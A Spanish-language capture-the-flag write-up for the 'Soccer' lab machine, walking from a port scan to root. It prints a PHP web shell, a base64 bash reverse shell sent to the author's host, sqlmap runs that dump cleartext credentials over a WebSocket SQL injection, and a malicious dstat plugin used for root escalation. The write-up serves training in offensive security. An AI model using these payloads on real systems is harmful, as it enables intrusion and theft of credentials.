Soccer
17 minutos de lectura
www-data
. En la máquina, podemos leer la configuración de nginx y encontrar otro subdominio. Este expone un servidor WebSocket que es vulnerable a Boolean-based Blind SQLi. Al explotar SQLi, podemos encontrar credenciales en texto claro que se reutilizan en SSH. Finalmente, el usuario puede ejecutar dstat
como root
usando doas
, y podemos crear un plugin para escalar privilegios- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.194
- Fecha: 17 / 12 / 2022
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.194 -p 22,80,9091
Nmap scan report for 10.10.11.194
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Soccer - Index
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date:
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date:
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 23.76 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 9091.
Enumeración
Si vamos a http://10.10.11.194
, se nos redirige a http://soccer.htb
, por lo que tenemos que añadir el dominio soccer.htb
en /etc/hosts
.
Vamos a enumerar algunas rutas con ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://soccer.htb/FUZZ
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 61ms]
* FUZZ: tiny
[Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 43ms]
* FUZZ:
Vemos la ruta /tiny
:
Esta es una aplicación open-source llamada Tiny File Manager, hecha en PHP. Si miramos en el repositorio de GitHub, veremos que las credenciales por defecto son admin:admin@123
y user:12345
. Las primeras todavía están configurados, por lo que tenemos acceso a la aplicación:
En tiny
existe un directorio uploads
:
Podemos intentar cargar un archivo pinchando en “Upload”:
Explotación de subida de archivos
Subamos un archivo PHP como este:
<?php system($_GET["cmd"]); ?>
Muy bien, parece que se ha subido correctamente. Ahora, si lo abrimos, obtendremos ejecución remota de comandos (RCE) en la máquina:
Por tanto, obtengamos una reverse shell en el sistema:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 'soccer.htb/tiny/uploads/cmd.php?cmd=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.194.
Ncat: Connection from 10.10.11.194:53704.
bash: cannot set terminal process group (1067): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@soccer:~/html/tiny/uploads$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@soccer:~/html/tiny/uploads$ export TERM=xterm
www-data@soccer:~/html/tiny/uploads$ export SHELL=bash
www-data@soccer:~/html/tiny/uploads$ stty rows 50 columns 158
Encontrando otro subdominio
Como www-data
estamos bastante limitados. Aún así, podemos leer la configuración del servidor nginx. Por ejemplo, podemos descubrir dos sitios habilitados:
www-data@soccer:~$ ls -la /etc/nginx/sites-enabled/
total 8
drwxr-xr-x 2 root root 4096 Dec 1 13:48 .
drwxr-xr-x 8 root root 4096 Nov 17 08:06 ..
lrwxrwxrwx 1 root root 34 Nov 17 08:06 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17 08:39 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
El archivo de configuración default
es para soccer.htb
:
server {
listen 80;
listen [::]:80;
server_name 0.0.0.0;
return 301 http://soccer.htb$request_uri;
}
server {
listen 80;
listen [::]:80;
server_name soccer.htb;
root /var/www/html;
index index.html tinyfilemanager.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
location ~ /\.ht {
deny all;
}
}
Y este es soc-player.htb
:
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
El código fuente del servidor está en /root/app/views
, por lo que no tenemos permisos para verlo. Sin embargo, sabemos que hay un subdominio llamado soc-player.soccer.htb
. Después de configurarlo en /etc/hosts
, tenemos este sitio web:
Nos registramos:
E iniciamos sesión:
Y llegamos a esta página:
Explotación de SQLi
Aquí podemos intentar buscar nuestro Ticket ID:
Pero no funciona. Intentemos explotar una vulnerabilidad de inyección SQL:
¡Es vulnerable! Véase que el ticket existe (ya que 1=1
). Si ponemos 2=1
, el ticket ya no existe:
Por lo tanto, tenemos un SQLi de tipo Boolean-based Blind. Con este tipo de SQLi, podemos obtener todo el contenido de la base de datos carácter a carácter (ya que tenemos un oráculo: verdadero o falso).
Si inspeccionamos cómo se realizan las peticiones, se implementan en WebSocket:
Uso de sqlmap
La herramienta más común para explotar SQLi es sqlmap
. Sin embargo, esta vez no funcionará porque la vulnerabilidad se explota a través de WebSocket, no HTTP. Por lo tanto, debemos usar un proxy para traducir las peticiones HTTP a WebSocket y viceversa, de modo que sqlmap
ataque al proxy y el proxy reenvíe las peticiones HTTP al servidor de WebSocket.
Buscando un proxy así, podemos encontrar este artículo, que muestra una implementación en Python.
Solo necesitamos editar esta línea:
ws_server = "ws://soc-player.soccer.htb:9091"
El payload en JSON es correcto, por lo que ahora podemos iniciar el servidor proxy:
$ python3 proxy.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
Y ahora sqlmap
funcionará:
$ sqlmap -u 'http://localhost:8081/?id=*' --dbs --technique B --skip-waf --level 5 --risk 3 --batch
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[hh:mm:ss] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[hh:mm:ss] [INFO] testing connection to the target URL
[hh:mm:ss] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.10')
[hh:mm:ss] [INFO] testing if the target URL content is stable
[hh:mm:ss] [INFO] target URL content is stable
[hh:mm:ss] [INFO] testing if URI parameter '#1*' is dynamic
[hh:mm:ss] [INFO] URI parameter '#1*' appears to be dynamic
[hh:mm:ss] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[hh:mm:ss] [INFO] testing for SQL injection on URI parameter '#1*'
[hh:mm:ss] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:ss] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[hh:mm:ss] [INFO] URI parameter '#1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
[hh:mm:ss] [INFO]heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[hh:mm:ss] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[hh:mm:ss] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 171 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:8081/?id=-4215 OR 6811=6811
---
[hh:mm:ss] [INFO] testing MySQL
[hh:mm:ss] [INFO] confirming MySQL
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 8.0.0
[hh:mm:ss] [INFO] fetching database names
[hh:mm:ss] [INFO] fetching number of databases
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 5
[hh:mm:ss] [INFO] retrieved: mysql
[hh:mm:ss] [INFO] retrieved: information_schema
[hh:mm:ss] [INFO] retrieved: performance_schema
[hh:mm:ss] [INFO] retrieved: sys
[hh:mm:ss] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
[*] ending
Vamos directamente al grano. El siguiente paso es enumerar las tablas en una determinada base de datos (la más interesante es soccer_db
):
$ sqlmap -u 'http://localhost:8081/?id=*' -D soccer_db --tables --technique B --skip-waf --level 5 --risk 3 --batch
___
__H__
___ ___[(]_____ ___ ___ {1.7.2#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[hh:mm:ss] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[hh:mm:ss] [INFO] resuming back-end DBMS 'mysql'
[hh:mm:ss] [INFO] testing connection to the target URL
[hh:mm:ss] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.10')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:8081/?id=-4215 OR 6811=6811
---
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[hh:mm:ss] [INFO] fetching tables for database: 'soccer_db'
[hh:mm:ss] [INFO] fetching number of tables for database 'soccer_db'
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 1
[hh:mm:ss] [INFO] retrieved: accounts
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
[*] ending
Solo hay una tabla. Enumeremos sus columnas:
$ sqlmap -u 'http://localhost:8081/?id=*' -D soccer_db -T accounts --columns --technique B --skip-waf --level 5 --risk 3 --batch
___
__H__
___ ___["]_____ ___ ___ {1.7.2#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and f
ederal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[hh:mm:ss] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[hh:mm:ss] [INFO] resuming back-end DBMS 'mysql'
[hh:mm:ss] [INFO] testing connection to the target URL
[hh:mm:ss] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.10')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:8081/?id=-4215 OR 6811=6811
---
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[hh:mm:ss] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 4
[hh:mm:ss] [INFO] retrieved: id
[hh:mm:ss] [INFO] retrieved: int
[hh:mm:ss] [INFO] retrieved: email
[hh:mm:ss] [INFO] retrieved: varchar(40)
[hh:mm:ss] [INFO] retrieved: username
[hh:mm:ss] [INFO] retrieved: varchar(40)
[hh:mm:ss] [INFO] retrieved: password
[hh:mm:ss] [INFO] retrieved: varchar(40)
Database: soccer_db
Table: accounts
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email | varchar(40) |
| id | int |
| password | varchar(40) |
| username | varchar(40) |
+----------+-------------+
[*] ending
Y ahora miramos qué datos hay en las columnas username
y password
:
$ sqlmap -u 'http://localhost:8081/?id=*' -D soccer_db -T accounts -C username,password --dump --technique B --skip-waf --level 5 --risk 3 --batch
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[hh:mm:ss] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[hh:mm:ss] [INFO] resuming back-end DBMS 'mysql'
[hh:mm:ss] [INFO] testing connection to the target URL
[hh:mm:ss] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.10')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:8081/?id=-4215 OR 6811=6811
---
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[hh:mm:ss] [INFO] fetching entries of column(s) 'password,username' for table 'accounts' in database 'soccer_db'
[hh:mm:ss] [INFO] fetching number of column(s) 'password,username' entries for table 'accounts' in database 'soccer_db'
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 1
[hh:mm:ss] [INFO] retrieved: PlayerOftheMatch2022
[hh:mm:ss] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+----------+----------------------+
| username | password |
+----------+----------------------+
| player | PlayerOftheMatch2022 |
+----------+----------------------+
[*] ending
Perfecto, tenemos unas credenciales en texto claro.
Sin embargo, este es un enfoque de script-kiddie. Como dice el artículo, se recomienda escribir un script personalizado para explotar un SQLi de tipo Boolean-based Blind al menos una vez.
Exploit personalizado
He aquí mi contribución: websocket_sqli.py
(explicación detallada aquí).
$ python3 websocket_sqli.py
{
"soccer_db": {
"accounts": {
"id": [
"1324"
],
"email": [
"player@player.htb"
],
"username": [
"player"
],
"password": [
"PlayerOftheMatch2022"
]
}
}
}
Time: 144.9353368282318 s
Acceso a la máquina
Ahora que tenemos un nombre de usuario (player
) y una contraseña en texto claro (PlayerOftheMatch2022
), podemos intentar conectarnos a la máquina por SSH:
$ ssh player@10.10.11.194
player@10.10.11.194's password:
player@soccer:~$ cat user.txt
2355bdcc1f0d682ade5cde4f7ae38c47
Enumeración del sistema
Si enumeramos binarios SUID, encontramos doas
:
player@soccer:~$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/local/bin/doas
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/at
Este programa es como sudo
, nos permite ejecutar comandos específicos como otros usuarios (por ejemplo, root
). Podemos echar un ojo a la documentación para aprender a usar este programa. Parece que debe haber una archivo de configuración llamado doas.conf
:
player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
Vemos que podemos ejecutar dstat
como root
. Este programa es de código abierto, construido en Python. En el repositorio de GitHub podemos ver la implementación.
Se ve chulo:
player@soccer:~$ dstat
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read writ| recv send| in out | int csw
0 0 99 0 0| 14k 9958B| 0 0 | 0 0 | 264 494
0 1 99 0 0| 0 0 | 132B 790B| 0 0 | 254 505
0 0 99 0 0| 0 0 | 66B 342B| 0 0 | 248 479
1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 236 476
0 0 100 0 0| 0 0 | 66B 342B| 0 0 | 250 498
1 0 99 0 0| 0 0 | 176B 342B| 0 0 | 264 498
1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 258 514
1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 260 502
1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 251 494 ^C
player@soccer:~$ doas /usr/bin/dstat
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read writ| recv send| in out | int csw
0 0 99 0 0| 14k 9963B| 0 0 | 0 0 | 264 494
0 0 100 0 0| 0 0 | 132B 790B| 0 0 | 245 468
1 1 98 0 0| 0 0 | 66B 342B| 0 0 | 282 555
0 1 99 0 0| 0 0 | 66B 342B| 0 0 | 250 487
2 2 96 0 0| 0 60k| 66B 342B| 0 0 | 280 660
1 1 98 0 0| 0 0 | 66B 350B| 0 0 | 275 502 ^C
El programa tiene muchas opciones:
player@soccer:~$ dstat --help
Usage: dstat [-afv] [options..] [delay [count]]
Versatile tool for generating system resource statistics)
Dstat options:
-c, --cpu enable cpu stats
-C 0,3,total include cpu0, cpu3 and total
-d, --disk enable disk stats
-D total,hda include hda and total
-g, --page enable page stats
-i, --int enable interrupt stats
-I 5,eth2 include int5 and interrupt used by eth2
-l, --load enable load stats
-m, --mem enable memory stats
-n, --net enable network stats
-N eth1,total include eth1 and total
-p, --proc enable process stats
-r, --io enable io stats (I/O requests completed)
-s, --swap enable swap stats
-S swap1,total include swap1 and total
-t, --time enable time/date output
-T, --epoch enable time counter (seconds since epoch)
-y, --sys enable system stats
--aio enable aio stats
--fs, --filesystem enable fs stats
--ipc enable ipc stats
--lock enable lock stats
--raw enable raw stats
--socket enable socket stats
--tcp enable tcp stats
--udp enable udp stats
--unix enable unix stats
--vm enable vm stats
--vm-adv enable advanced vm stats
--zones enable zoneinfo stats
--list list all available plugins
--<plugin-name> enable external plugin by name (see --list)
-a, --all equals -cdngy (default)
-f, --full automatically expand -C, -D, -I, -N and -S lists
-v, --vmstat equals -pmgdsc -D total
--bits force bits for values expressed in bytes
--float force float values on screen
--integer force integer values on screen
--bw, --black-on-white change colors for white background terminal
--color force colors
--nocolor disable colors
--noheaders disable repetitive headers
--noupdate disable intermediate updates
--output file write CSV output to file
--profile show profiling statistics when exiting dstat
delay is the delay in seconds between each update (default: 1)
count is the number of updates to display before exiting (default: unlimited)
Ninguna de ellas parece darnos una forma de ejecutar comandos de sistema o código Python. La opción más interesante es -<plugin>
. Usando --list
podemos ver qué plugins están habilitados:
player@soccer:~$ dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,
socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,
dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,
md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,
mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,
ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,snmp-sys,snooze,squid,
test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,top-io-adv,top-latency,
top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,
zfs-zil
Parece que todos los plugins se almacenan en /usr/share/dstat
:
player@soccer:~$ ls /usr/share/dstat
__pycache__ dstat_fan.py dstat_mongodb_opcount.py dstat_nfsd4_ops.py dstat_snooze.py dstat_top_oom.py
dstat.py dstat_freespace.py dstat_mongodb_queue.py dstat_nfsstat4.py dstat_squid.py dstat_utmp.py
dstat_battery.py dstat_fuse.py dstat_mongodb_stats.py dstat_ntp.py dstat_test.py dstat_vm_cpu.py
dstat_battery_remain.py dstat_gpfs.py dstat_mysql5_cmds.py dstat_postfix.py dstat_thermal.py dstat_vm_mem.py
dstat_condor_queue.py dstat_gpfs_ops.py dstat_mysql5_conn.py dstat_power.py dstat_top_bio.py dstat_vm_mem_adv.py
dstat_cpufreq.py dstat_helloworld.py dstat_mysql5_innodb.py dstat_proc_count.py dstat_top_bio_adv.py dstat_vmk_hba.py
dstat_dbus.py dstat_ib.py dstat_mysql5_innodb_basic.py dstat_qmail.py dstat_top_childwait.py dstat_vmk_int.py
dstat_disk_avgqu.py dstat_innodb_buffer.py dstat_mysql5_innodb_extra.py dstat_redis.py dstat_top_cpu.py dstat_vmk_nic.py
dstat_disk_avgrq.py dstat_innodb_io.py dstat_mysql5_io.py dstat_rpc.py dstat_top_cpu_adv.py dstat_vz_cpu.py
dstat_disk_svctm.py dstat_innodb_ops.py dstat_mysql5_keys.py dstat_rpcd.py dstat_top_cputime.py dstat_vz_io.py
dstat_disk_tps.py dstat_jvm_full.py dstat_mysql_io.py dstat_sendmail.py dstat_top_cputime_avg.py dstat_vz_ubc.py
dstat_disk_util.py dstat_jvm_vm.py dstat_mysql_keys.py dstat_snmp_cpu.py dstat_top_int.py dstat_wifi.py
dstat_disk_wait.py dstat_lustre.py dstat_net_packets.py dstat_snmp_load.py dstat_top_io.py dstat_zfs_arc.py
dstat_dstat.py dstat_md_status.py dstat_nfs3.py dstat_snmp_mem.py dstat_top_io_adv.py dstat_zfs_l2arc.py
dstat_dstat_cpu.py dstat_memcache_hits.py dstat_nfs3_ops.py dstat_snmp_net.py dstat_top_latency.py dstat_zfs_zil.py
dstat_dstat_ctxt.py dstat_mongodb_conn.py dstat_nfsd3.py dstat_snmp_net_err.py dstat_top_latency_avg.py
dstat_dstat_mem.py dstat_mongodb_mem.py dstat_nfsd3_ops.py dstat_snmp_sys.py dstat_top_mem.py
En efecto, todos son scripts de Python con un nombre de archivo como dstat_<plugin>.py
.
Si echamos un vistazo al código fuente en GitHub, veremos que hay una lista de rutas de plugins válidas:
Por suerte, tenemos permisos de escritura en /usr/local/share/dstat
como miembros del grupo player
:
player@soccer:~$ ls -la /usr/local/share
total 24
drwxr-xr-x 6 root root 4096 Nov 17 09:16 .
drwxr-xr-x 10 root root 4096 Nov 15 21:38 ..
drwxr-xr-x 2 root root 4096 Nov 15 21:39 ca-certificates
drwxrwx--- 2 root player 4096 Feb 9 12:15 dstat
drwxrwsr-x 2 root staff 4096 Nov 17 08:06 fonts
drwxr-xr-x 5 root root 4096 Nov 17 09:09 man
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
Escalada de privilegios
Entonces, ya que podemos ejecutar dstat
como root
usando doas
, vamos a crear un plugin en /usr/local/share/dstat
que ejecute /bin/sh
a nivel de sistema:
player@soccer:~$ cat > /usr/local/share/dstat/dstat_privesc.py
import os
os.system('/bin/sh')
^C
player@soccer:~$ doas /usr/bin/dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,
socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,
dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,
md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,
mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,
ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,snmp-sys,snooze,squid,
test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,top-io-adv,top-latency,
top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,
zfs-zil
/usr/local/share/dstat:
privesc
Obsérvese que el nombre del archivo debe coincidir con el patrón de plugin; de lo contrario, el plugin no se mostraría. Luego, podemos cargar este plugin llamado privesc
y obtendremos uns shell como root
, y así leer la flag root.txt
:
player@soccer:~$ doas /usr/bin/dstat --privesc
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# whoami
root
# cat /root/root.txt
90d2ad373491dfbb45383cbb3acc44d5